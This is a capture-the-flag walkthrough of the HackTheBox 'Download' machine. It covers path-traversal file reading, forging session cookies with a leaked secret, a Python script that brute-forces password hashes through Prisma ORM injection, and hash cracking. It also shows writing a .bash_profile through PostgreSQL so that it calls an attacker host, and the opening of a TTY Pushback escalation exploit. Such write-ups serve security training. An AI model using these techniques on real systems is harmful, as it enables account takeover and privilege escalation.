Machine: Download
Difficulty: Hard
Platform: HackTheBox
Release: Released on 08/05/2023
About Download
Download is a hard difficulty machine on HackTheBox. The machine features a web service that allows file uploads. While attempting to download the files, we discover a Local File Inclusion (LFI) vulnerability, providing us access to the source code.
Shell as wesley
Understanding how the website works behind the scenes, we discovered a potential security flaw that allowed us to extract passwords from other users in the database by manipulating our cookies. With access to the source code, we were able to obtain the
secret
key, enabling us to sign new cookies and exploit the vulnerability. Leveraging an ORM injection, we acquired credentials for the user wesley
and gained access to the system through SSH.
Shell as root
As Wesley, we run
pspy
to examine processes and commands running on the system. We discover a cron job that reveals the presence of a .service
file containing credentials for connecting to a PostgreSQL database. Additionally, the root user utilizes the su -l postgres
command to switch to the postgres
user. Given that we now have credentials to access the database, we can exploit the authentication process performed by the root user on postgres by modifying the .bash_profile
file in the home directory of the postgres user. This modification allows us to execute commands as the postgres user.The concept of running commands as postgres involves exploiting the
TTY Pushback
vulnerability, which, due to the authentication performed by the root user, enables us to execute commands in this manner.
Recon
To commence our analysis, we'll initiate a port scan to unveil the accessible ports on the target machine. It's crucial to bear in mind that a system's services are invariably accessible through these open ports.
elswix@kali$ nmap -p- --open --min-rate 10000 -n 10.10.11.226 -oN portScan
Nmap scan report for 10.10.11.226
Host is up (0.15s latency).
Not shown: 58913 closed tcp ports (conn-refused), 6620 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
elswix@kali$ nmap -sCV -p22,80 10.10.11.226 -oN fullScan
Nmap scan report for download.htb (10.10.11.226)
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 cc:f1:63:46:e6:7a:0a:b8:ac:83:be:29:0f:d6:3f:09 (RSA)
| 256 2c:99:b4:b1:97:7a:8b:86:6d:37:c9:13:61:9f:bc:ff (ECDSA)
|_ 256 e6:ff:77:94:12:40:7b:06:a2:97:7a:de:14:94:5b:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Download.htb - Share Files With Ease
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web Application
Prior to accessing the web service through our browser, I will execute the
whatweb
tool to gather insights into the technologies employed by the website:elswix@kali$ whatweb -a 3 10.10.11.226
http://10.10.11.226 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.226], RedirectLocation[http://download.htb], Title[301 Moved Permanently], nginx[1.18.0]
ERROR Opening: http://download.htb - no address for download.htb
download.htb
domain. However, an error is encountered during this redirection, primarily stemming from our machine's inability to resolve the domain. To rectify this, we must add the domain to our /etc/hosts
file, ensuring it is correctly mapped to the IP address of the target machine.elswix@kali$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali.localhost kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# HackTheBox
10.10.11.226 download.htb
whatweb
tool:elswix@kali$ whatweb -a 3 10.10.11.226
http://10.10.11.226 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.226], RedirectLocation[http://download.htb], Title[301 Moved Permanently], nginx[1.18.0]
http://download.htb [200 OK] Bootstrap, Cookies[download_session,download_session.sig], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[download_session,download_session.sig], IP[10.10.11.226], Script, Title[Download.htb - Share Files With Ease], X-Powered-By[Express], X-UA-Compatible[IE=edge], nginx[1.18.0]
Upon examination, it becomes apparent that the website is powered by Express.
Upon accessing the website via our web browser, the following content becomes visible:

Having grasped the website's functionality and objectives, it becomes evident that we possess the capability to both upload and download files, affording us the opportunity to store them on the server.
Despite the statement claiming that no registration is required, I will proceed to create an account by navigating to the
/login
section:
At this point, we can experiment with common credentials such as
admin:admin
, guest:guest
, etc. However, none of them prove successful. Therefore, let's proceed by clicking on the Register Here
option:
After completing the registration process, let's log in using the newly created credentials. Upon successful authentication, we will be presented with the following:

Before logging in, we had cookies similar to these:
download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0=
download_session.sig=4kbZR1kOcZNccDLxiSi7Eblym1E
session.sig
, which prevents unauthorized tampering. The session-specific information is held in the session
cookie, maintaining the user's state across various requests.The mentioned signature is generated using a secret key (
secret
) specified in the code. This key is crucial for creating the signature stored in session.sig
, providing an additional layer of security to session cookies.Security relies on the fact that if an attacker attempts to modify the information in the
session
cookie, they would need to know the secret key (secret
) to generate the signature (session.sig
). Without that key, altering the session cookie becomes much more challenging and, in theory, nearly impossible without access to the key. This additional layer of security helps protect the integrity of session information and prevents unauthorized manipulations.After logging in, new session cookies were assigned to us. Let's inspect them:
download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91IGFyZSBub3cgbG9nZ2VkIGluLiJdfSwidXNlciI6eyJpZCI6MTYsInVzZXJuYW1lIjoiZWxzd2l4In19
download_session.sig=tETRYPJ_hHDpPfZyjQ3EVSVUY0o
Since it appears to be in base64, we will proceed to decode the content (specifically from
download_session
as the signature does not contain readable information):elswix@kali$ echo 'eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91IGFyZSBub3cgbG9nZ2VkIGluLiJdfSwidXNlciI6eyJpZCI6MTYsInVzZXJuYW1lIjoiZWxzd2l4In19' | base64 -d;echo
{"flashes":{"info":[],"error":[],"success":["You are now logged in."]},"user":{"id":16,"username":"elswix"}}
To validate our discussions, I will create another user with a different username and attempt to impersonate them by modifying our cookie.
The cookies assigned to me after logging in with my new user are as follow
download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91IGFyZSBub3cgbG9nZ2VkIGluLiJdfSwidXNlciI6eyJpZCI6MTcsInVzZXJuYW1lIjoidGVzdHVzZXIifX0=
download_session.sig=C1JKhM-0rV2aFU-9d01_4Pdf18s
elswix
. If we decode their content, we will see the following:{"flashes":{"info":[],"error":[],"success":["You are now logged in."]},"user":{"id":17,"username":"testuser"}}
{"flashes":{"info":[],"error":[],"success":["You are now logged in."]},"user":{"id":16,"username":"elswix"}}

Upon reviewing the response, we observe that we are redirected to the login page. This happens because the validation of the cookie has not been successful, indicating that we will need to log in again.
However, it is crucial to note that understanding the workings of cookies in this manner is essential. In the event of obtaining the secret key (
secret
), tools such as cookie-monster could be utilized to sign cookies and manipulate them to our advantage.Currently, we do not have any uploaded files, so let's proceed to attempt an upload. Let's navigate to the
/upload
section:
Let's try uploading an example file:

It appears that the file was successfully uploaded:

The file has been uploaded with additional information such as the upload date, the user responsible for the upload, and whether it is set as private or not.
Upon clicking
Copy Link
, it copies a URL:
Files are being displayed using file IDs, and the URL structure is as follows:
http://download.htb/files/view/{file_id}
Download
, the file we uploaded is downloaded:
Let's examine the requests being made with Burp Suite. Here is the download request:

It's requesting
/files/download/{file_id}
, which might be potentially vulnerable to LFI. Let's try some tricks:
I attempted to load the
/etc/passwd
file, but it proved unsuccessful.When experimenting with some tricky payloads like:
http://download.htb/files/download/../test

When URL encoding the slash, it returns a different response:
http://download.htb/files/download/..%2ftest

This suggests a potential Local File Inclusion (LFI) vulnerability that could be exploited.
Let's attempt to discover the directory where our uploaded files are being stored. I have tried some common names such as
upload
, uploads
, and files
. The one that proved successful was uploads
:http://download.htb/files/download/files/download/..%2fuploads%2f4ee5b1e0-a2a9-40c9-9a86-16e6bbb83459

Recalling that the website is built with Express, let's attempt to list the content of the
package.json
file.The
package.json
file is a standard file in a Node project, serving as a blueprint for an application. It provides information on how to interact with the application and outlines its dependencies. In this case, the file likely starts by specifying that the main functionality is in app.js
.elswix@kali$ curl -s 'http://download.htb/files/download/..%2fpackage.json'
{
"name": "download.htb",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"dev": "nodemon --exec ts-node --files ./src/app.ts",
"build": "tsc"
},
"keywords": [],
"author": "wesley",
"license": "ISC",
"dependencies": {
"@prisma/client": "^4.13.0",
"cookie-parser": "^1.4.6",
"cookie-session": "^2.0.0",
"express": "^4.18.2",
"express-fileupload": "^1.4.0",
"zod": "^3.21.4"
},
"devDependencies": {
"@types/cookie-parser": "^1.4.3",
"@types/cookie-session": "^2.0.44",
"@types/express": "^4.17.17",
"@types/express-fileupload": "^1.4.1",
"@types/node": "^18.15.12",
"@types/nunjucks": "^3.2.2",
"nodemon": "^2.0.22",
"nunjucks": "^3.2.4",
"prisma": "^4.13.0",
"ts-node": "^10.9.1",
"typescript": "^5.0.4"
}
}
WESLEY
, which could potentially be a system username. This is a valuable piece of information to keep in mind. Additionally, the main script of the website is disclosed as app.js
.Let's attempt to list the content of
app.js
:elswix@kali$ curl -s 'http://download.htb/files/download/..%2fapp.js'
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const nunjucks_1 = __importDefault(require("nunjucks"));
const path_1 = __importDefault(require("path"));
const cookie_parser_1 = __importDefault(require("cookie-parser"));
const cookie_session_1 = __importDefault(require("cookie-session"));
const flash_1 = __importDefault(require("./middleware/flash"));
const auth_1 = __importDefault(require("./routers/auth"));
const files_1 = __importDefault(require("./routers/files"));
const home_1 = __importDefault(require("./routers/home"));
const client_1 = require("@prisma/client");
const app = (0, express_1.default)();
const port = 3000;
const client = new client_1.PrismaClient();
const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), {
autoescape: true,
express: app,
noCache: true,
});
app.use((0, cookie_session_1.default)({
name: "download_session",
keys: ["8929874489719802418902487651347865819634518936754"],
maxAge: 7 * 24 * 60 * 60 * 1000,
}));
app.use(flash_1.default);
app.use(express_1.default.urlencoded({ extended: false }));
app.use((0, cookie_parser_1.default)());
app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static")));
app.get("/", (req, res) => {
res.render("index.njk");
});
app.use("/files", files_1.default);
app.use("/auth", auth_1.default);
app.use("/home", home_1.default);
app.use("*", (req, res) => {
res.render("error.njk", { statusCode: 404 });
});
app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => {
console.log("Listening on ", port);
if (process.env.NODE_ENV === "production") {
setTimeout(async () => {
await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`);
}, 300000);
}
});
Notably, we can highlight the presence of the
secret
used to sign cookies. This could be valuable for discovering new users.It's worth mentioning that the website utilizes Prisma Client.
Prisma Client is a database access tool used with the Object-Relational Mapping (ORM) Prisma. Prisma Client simplifies database queries by providing a programming interface in the programming language you are using (e.g., JavaScript or TypeScript).
An ORM simplifies data manipulation in a relational database by allowing developers to work with objects and classes in their code, abstracting the complexity of SQL queries and simplifying database operations. This makes application development easier by providing a layer of abstraction between the code and the underlying database.
Understanding this concept could be beneficial for manipulating cookies, given that we have the
secret
key.
Cookie-monster
With the tool cookie-monster, we can generate and sign new cookies with the desired information.
The usage of this tool involves playing with parameters such as
-e
, -k
, -f
, and -n
.Firstly, we need to save our cookie in JSON format in a JSON file:
elswix@kali$ cat cookie.json
{"flashes":{"info":[],"error":[],"success":[]},"user":{"id":16,"username":"elswix"}}
elswix@kali$ cat cookie.json
{"flashes":{"info":[],"error":[],"success":[]},"user":{"id":1,"username":"elswix"}}
cookie-monster
:elswix@kali$ cookie-monster -e -k '8929874489719802418902487651347865819634518936754' -f cookie.json -n download_session
_ _
_/0\/ \_
.-. .-` \_/\0/ '-.
/:::\ / ,_________, \
/\:::/ \ '. (:::/ `'-;
\ `-'`\ '._ `"'"'\__ \
`'-. \ `)-=-=( `, |
\ `-"` `"-` /
[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MSwidXNlcm5hbWUiOiJlbHN3aXgifX0=
[+] Signature Cookie: download_session.sig=iYBGt7aCtH-Hfmu5gBv4vQxfcbY

When reloading the page, it says
No files found
, and it didn't redirect us to the /login
section. I believe the new cookies are functioning properly. However, to access the files associated with the id
1, we may need to know the corresponding username.I'm considering removing our username from the cookie and leaving it only with the
id
number:elswix@kali$ cat cookie.json
{"flashes":{"info":[],"error":[],"success":[]},"user":{"id":1}}
cookie-monster
:elswix@kali$ cookie-monster -e -k '8929874489719802418902487651347865819634518936754' -f cookie.json -n download_session
_ _
_/0\/ \_
.-. .-` \_/\0/ '-.
/:::\ / ,_________, \
/\:::/ \ '. (:::/ `'-;
\ `-'`\ '._ `"'"'\__ \
`'-. \ `)-=-=( `, |
\ `-"` `"-` /
[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MX19
[+] Signature Cookie: download_session.sig=L-CbUTci83X7NoHNhIVqKhBCSDg

Now I'm seeing files from another user called
WESLEY
, indicating a successful impersonation of his account.Let's observe what happens if we leave the
id
field empty:elswix@kali$ cat cookie.json
{"flashes":{"info":[],"error":[],"success":[]},"user":{"id":{}}}
cookie-monster
:elswix@kali$ cookie-monster -e -k '8929874489719802418902487651347865819634518936754' -f cookie.json -n download_session
_ _
_/0\/ \_
.-. .-` \_/\0/ '-.
/:::\ / ,_________, \
/\:::/ \ '. (:::/ `'-;
\ `-'`\ '._ `"'"'\__ \
`'-. \ `)-=-=( `, |
\ `-"` `"-` /
[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6e319fQ==
[+] Signature Cookie: download_session.sig=ogGsbzlrwcNYnAVlB7V5BRsm43U

There are numerous new users, but currently, we can't perform any actions with them.
Considering that the website uses Prisma Client to interact with the database, I began contemplating the possibility of ORM injection in the cookie.
In the context of ORM, queries are typically constructed using methods and functions provided by the ORM library. However, if the application fails to adequately validate or filter user-supplied data before using it in these queries, we might manipulate parameters to execute undesired queries or even perform harmful actions in the database.
After reading some Prisma documentation, I found some functions we can use to extract data from the database.
While the primary purpose of these functions is not data extraction, several of them can be utilized to our advantage to obtain information from the database.
Among the various functions available, I stumbled upon one that seemed interesting to experiment with. This function or method is
startsWith
, which, during the execution of the SQL query, validates the character passed as an argument and compares it.To illustrate better, I will create a sample query and explain it:
SELECT age FROM users WHERE username=startsWith('A')
age
column of the users
table and is filtering exclusively for strings that start with the character A
in the username
column.In other words, it is selecting the ages of all usernames that start with the letter
A
. At the SQL level, this may not work, but the startsWith
function, being included in Prisma, automates the process of searching for string matches that begin with the character A
.If we can modify the cookie and apply the invocation of these methods, we could attempt to gather information about users through a brute-force attack.
To illustrate, we will conduct a test to try accessing files uploaded by all users whose usernames begin with the character
a
.Next, we will prepare the cookie we will sign:
elswix@kali$ cat cookie.json
{"flashes":{"info":[],"error":[],"success":[]},"user":{"username":{"startsWith":"A"}}}
username
field. I also added the invocation of the startsWith
method with the parameter A
. If everything works as expected, we should see all files uploaded on the website by users whose usernames start with the A
character.Now, let's sign the cookie:
elswix@kali$ cookie-monster -e -k '8929874489719802418902487651347865819634518936754' -f cookie.json -n download_session
_ _
_/0\/ \_
.-. .-` \_/\0/ '-.
/:::\ / ,_________, \
/\:::/ \ '. (:::/ `'-;
\ `-'`\ '._ `"'"'\__ \
`'-. \ `)-=-=( `, |
\ `-"` `"-` /
[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJ1c2VybmFtZSI6eyJzdGFydHNXaXRoIjoiQSJ9fX0=
[+] Signature Cookie: download_session.sig=bI89MIMG1P226_VRwmajlBlSroA
uploaded by
:elswix@kali$ curl -s 'http://download.htb/home/' -H "Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJ1c2VybmFtZSI6eyJzdGFydHNXaXRoIjoiQSJ9fX0=; download_session.sig=bI89MIMG1P226_VRwmajlBlSroA" | grep 'uploaded by' -i
<strong>Uploaded By: </strong>AyufmApogee<br />
<strong>Uploaded By: </strong>AyufmApogee<br />
<strong>Uploaded By: </strong>Apoplectic<br />
<strong>Uploaded By: </strong>Apoplectic<br />
<strong>Uploaded By: </strong>Antilogism<br />
<strong>Uploaded By: </strong>Apoplectic<br />
startsWith
method is functioning as expected. We are now able to see files uploaded by users whose usernames start with the A
character.After this success, I thought about attempting to retrieve data by entering the
password
field. Perhaps, I could extract a password using a brute-force approach.As we've observed, the user
WESLEY
was the author mentioned in the package.json
file. It might be a good idea to try extracting his password.After inspecting the
auth.js
file (whose path was revealed in app.js
), I noticed that passwords are stored in MD5:elswix@kali$ curl -s 'http://download.htb/files/download/..%2frouters%2fauth.js'
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const client_1 = require("@prisma/client");
const express_1 = __importDefault(require("express"));
const zod_1 = __importDefault(require("zod"));
const node_crypto_1 = __importDefault(require("node:crypto"));
const router = express_1.default.Router();
const client = new client_1.PrismaClient();
const hashPassword = (password) => {
return node_crypto_1.default.createHash("md5").update(password).digest("hex");
};
const LoginValidator = zod_1.default.object({
username: zod_1.default.string().min(6).max(64),
password: zod_1.default.string().min(6).max(64),
});
router.get("/login", (req, res) => {
res.render("login.njk");
});
router.post("/login", async (req, res) => {
const result = LoginValidator.safeParse(req.body);
if (!result.success) {
res.flash("error", "Your login details were invalid, please try again.");
return res.redirect("/auth/login");
}
const data = result.data;
const user = await client.user.findFirst({
where: { username: data.username, password: hashPassword(data.password) },
});
if (!user) {
res.flash("error", "That username / password combination did not exist.");
return res.redirect("/auth/register");
}
req.session.user = {
id: user.id,
username: user.username,
};
res.flash("success", "You are now logged in.");
return res.redirect("/home/");
});
router.get("/register", (req, res) => {
res.render("register.njk");
});
const RegisterValidator = zod_1.default.object({
username: zod_1.default.string().min(6).max(64),
password: zod_1.default.string().min(6).max(64),
});
router.post("/register", async (req, res) => {
const result = RegisterValidator.safeParse(req.body);
if (!result.success) {
res.flash("error", "Your registration details were invalid, please try again.");
return res.redirect("/auth/register");
}
const data = result.data;
const existingUser = await client.user.findFirst({
where: { username: data.username },
});
if (existingUser) {
res.flash("error", "There is already a user with that email address or username.");
return res.redirect("/auth/register");
}
await client.user.create({
data: {
username: data.username,
password: hashPassword(data.password),
},
});
res.flash("success", "Your account has been registered.");
return res.redirect("/auth/login");
});
router.get("/logout", (req, res) => {
if (req.session)
req.session.user = null;
res.flash("success", "You have been successfully logged out.");
return res.redirect("/auth/login");
});
exports.default = router;
elswix@kali$ curl -s 'http://download.htb/files/download/..%2frouters%2fauth.js' | grep 'client.user.create' -A 5
await client.user.create({
data: {
username: data.username,
password: hashPassword(data.password),
},
});
hashPassword
function, which converts the string parameters to MD5:elswix@kali$ curl -s 'http://download.htb/files/download/..%2frouters%2fauth.js' | grep 'const hashPassword' -A 2
const hashPassword = (password) => {
return node_crypto_1.default.createHash("md5").update(password).digest("hex");
};
a
to f
in the alphabet and digits from 0
to 9
.Before attempting this with the
WESLEY
user, we need to confirm that this approach works. Therefore, I will first extract my user password.I entered
elswix123
as my user password. When converted to MD5, it will be 11d9322277be7d00e624bc2c59276f4c
.The cookie will be as follows:
{"flashes":{"info":[],"error":[],"success":[]},"user":{"username":"elswix","password":{"startsWith":"%s"}}}
%s
will be replaced with the characters during the Python script.Here is the automation script:
#!/usr/bin/python3
from pwn import *
import requests
import pdb
import json
import string
import subprocess
# Global
home_url = "http://download.htb/home/"
characters = string.digits + "abcdef"
def createMaliciousCookie(char):
malicious_cookie = '{"flashes":{"info":[],"error":[],"success":[]},"user":{"username":"elswix", "password":{"startsWith":"%s"}}}' % char
with open("temp.tmp", "w") as f:
f.write(malicious_cookie)
output = subprocess.check_output("/home/elswix/.yarn/bin/cookie-monster -e -f temp.tmp --secret \"8929874489719802418902487651347865819634518936754\" -n download_session", shell=True, text=True)
session = output.split("download_session=")[1].split(" ")[0].split("\x1b")[0]
signature = output.split("download_session.sig=")[1].split("\x1b")[0]
cookie = {
"download_session":"%s" % session,
"download_session.sig":"%s" % signature
}
return cookie
def makeReq(maliciousCookie):
resp = requests.get(home_url, cookies=maliciousCookie)
return resp
def main():
password = ""
p = log.progress("PASSWORD")
for i in range(1, 33):
for char in characters:
test_password = password + char
maliciousCookie = createMaliciousCookie(test_password)
resp = makeReq(maliciousCookie)
if "No files found" not in resp.text:
password += char
p.status(password)
break
subprocess.run("/bin/rm temp.tmp", shell=True)
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print("\n\n[!] Stopping...\n")
sys.exit(1)
cookie-monster
binary path and the username in the cookie. Let's run the script (this may take a while):elswix@kali$ python3 exploit.py
[<] PASSWORD: 11d9322277be7d00e624bc2c59276f4c
WESLEY
and execute the script.After a while, we obtained the password in MD5 format:
elswix@kali$ python3 exploit.py
[└] PASSWORD: f88976c10af66915918945b9679b2bd3
elswix@kali$ john -w:/usr/share/wordlists/rockyou.txt hash --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
dunkindonuts (?)
1g 0:00:00:00 DONE (2023-11-20 19:34) 20.00g/s 3002Kp/s 3002Kc/s 3002KC/s east11..dextor
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
dunkindonuts
. Let's try using it to authenticate through SSH as the user WESLEY
:elswix@kali$ ssh wesley@10.10.11.226
wesley@10.10.11.226's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-155-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 20 Nov 2023 10:35:56 PM UTC
System load: 0.82
Usage of /: 58.8% of 5.81GB
Memory usage: 56%
Swap usage: 0%
Processes: 635
Users logged in: 0
IPv4 address for eth0: 10.10.11.226
IPv6 address for eth0: dead:beef::250:56ff:feb9:6d40
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Aug 3 08:29:52 2023 from 10.10.14.23
wesley@download:~$
wesley
.As
wesley
, we can read the first flag:wesley@download:~$ cat user.txt
23195**********************85bcf
wesley@download:~$
wesley@download:~$ id
uid=1000(wesley) gid=1000(wesley) groups=1000(wesley)
wesley@download:~$
wesley@download:~$ sudo -l
[sudo] password for wesley:
Sorry, user wesley may not run sudo on download.
wesley@download:~$
wesley@download:~$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
wesley@download:~$
Set-UID
files. For this, I will use the find
command:wesley@download:~$ find / -perm -4000 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/su
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/at
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/mount
/usr/bin/chsh
wesley@download:~$
Next, I will upload pspy to the victim machine to inspect processes and commands running on the system.
pspy is a command-line tool used to monitor processes and commands on Linux systems. It provides real-time visualization of system activities, including command execution and changes in processes, which can be useful for detecting suspicious activities or analyzing system behavior.
This tool could be helpful in detecting suspicious activities carried out by other users.
I downloaded the pspy64 release version and uploaded it to the victim machine:
wesley@download:~$ chmod +x ./pspy
wesley@download:~$ ./pspy

Here are the interesting observations:

The
root
user is checking the status of the postgresql
service and the download-site
service. The download-site
service appears to be a custom service on the machine, which could be interesting to inspect.The
root
user is also migrating to the postgres
user using su
and the -l
parameter. Checking the su
manual for information about the -l
parameter, I found the following:
The
-l
parameter is used to simulate a full login. When you use su -l
or su --login
, you are not just switching the user identity; you are also initializing the environment as if the new user had logged in directly.This means that the user's login shell, environment variables, and working directory are set according to the target user's profile. It is particularly useful when you want to execute commands or start a shell session with the environment of another user, as if you had logged in as that user.
How can we exploit this?
Using the
-l
parameter also loads environment configurations, such as .bashrc
and .bash_profile
files, from the home directory. If we can modify these files for the Postgres
user, we might be able to execute commands as that user by making changes to these files.In other words, the
-l
parameter in the su
command is crucial because it not only switches the user identity but also initializes the environment as if the specified user had logged in directly. This includes loading configuration files such as .bashrc
and .bash_profile
from the user's home directory.In the context of the
Postgres
user, if we have the ability to modify the .bashrc
or .bash_profile
files associated with the Postgres
user, we gain the potential to influence the environment settings for that user. By strategically altering these files, we may be able to execute commands with the permissions and configurations of the Postgres
user, effectively manipulating its behavior and privileges on the system.At this point, we are not able to modify or create these files. However, in the event that we gain access to a PostgreSQL database, attempting to modify these files could serve as a trick to escalate privileges.
Recalling the other commands that the
root
user was executing, one of them was systemctl status download-site
. Since this is an unusual service, it is interesting to list its content. Therefore, let's first locate it in the filesystem:wesley@download:~/privesc$ find / -name "download-site.service" 2>/dev/null
/etc/systemd/system/download-site.service
/etc/systemd/system/multi-user.target.wants/download-site.service
/sys/fs/cgroup/devices/system.slice/download-site.service
/sys/fs/cgroup/memory/system.slice/download-site.service
/sys/fs/cgroup/pids/system.slice/download-site.service
/sys/fs/cgroup/systemd/system.slice/download-site.service
/sys/fs/cgroup/unified/system.slice/download-site.service
wesley@download:~/privesc$
PostgreSQL
credentials:wesley@download:~/privesc$ cat /etc/systemd/system/download-site.service
[Unit]
Description=Download.HTB Web Application
After=network.target
[Service]
Type=simple
User=www-data
WorkingDirectory=/var/www/app/
ExecStart=/usr/bin/node app.js
Restart=on-failure
Environment=NODE_ENV=production
Environment=DATABASE_URL="postgresql://download:CoconutPineappleWatermelon@localhost:5432/download"
[Install]
WantedBy=multi-user.target
wesley@download:~/privesc$
download
database:wesley@download:~/privesc$ psql -U 'download' -h 127.0.0.1 -d download
Password for user download:
psql (12.15 (Ubuntu 12.15-0ubuntu0.20.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
download=>
.bash_profile
file in the Postgres home directory (/var/lib/postgresql/
).There are some queries we can use. I will use the
COPY (SELECT '(file content)') to '(file directory path)'
approach.First, we will attempt to make the Postgres user send us an HTTP request using the curl command to a server that we will be hosting on our attacker machine.
Let's set up our HTTP Server on port 80:
elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
.bash_profile
file in the Postgres home directory:download=> COPY (SELECT 'curl 10.10.16.7') TO '/var/lib/postgresql/.bash_profile';
COPY 1
download=>
/var/lib/postgresql
directory, the .bash_profile
file with the new content will be present:wesley@download:~/privesc$ ls -la /var/lib/postgresql/
total 20
drwxr-xr-x 3 postgres postgres 4096 Nov 21 12:19 .
drwxr-xr-x 41 root root 4096 Jul 19 16:06 ..
drwxr-xr-x 3 postgres postgres 4096 Apr 21 2023 12
-rw------- 1 postgres postgres 5 Nov 21 12:19 .bash_history
-rw-r--r-- 1 postgres postgres 16 Nov 21 12:19 .bash_profile
wesley@download:~/privesc$
wesley@download:~/privesc$ cat /var/lib/postgresql/.bash_profile
curl 10.10.16.7
wesley@download:~/privesc$
elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.226 - - [21/Nov/2023 09:25:13] "GET / HTTP/1.1" 200 -
Postgres
user. At this point, we could gain access to the system as Postgres
, but it's not necessary for this machine.
TTY Pushback
After thorough research, I came across with the TTY Pushback vulnerability.
Since 1985, there has been a security issue known as "TTY pushbash." This issue has been intermittently discussed over the decades, with some indications that it is now being addressed in certain Linux distributions.
When a privileged process executes the 'su' command without the -P/--pty option, the new process operates within the same pseudo-terminal (PTY) as the old one. The vulnerability lies in an IOCTL target called TIOCSTI, which enables the injection of bytes into the input queue of the TTY (or PTY).
In practical terms, if an attacker can execute commands as a lower-privileged user while a higher-privileged user transitions to that lower-privileged state, they can subsequently run commands as the higher-privileged user. This occurs when the attacker has the ability to write to a script that executes during login (such as .profile). When the privileged user employs 'su -' (or 'su -l'), these commands within the script will be executed with elevated privileges.
I also found information on how to exploit it in the following article. We could use this information to exploit the vulnerability, as it includes a Python exploit.
Here is the exploit created by the article author:
#!/usr/bin/env python3
import fcntl
import termios
import os
import sys
import signal
os.kill(os.getppid(), signal.SIGSTOP)
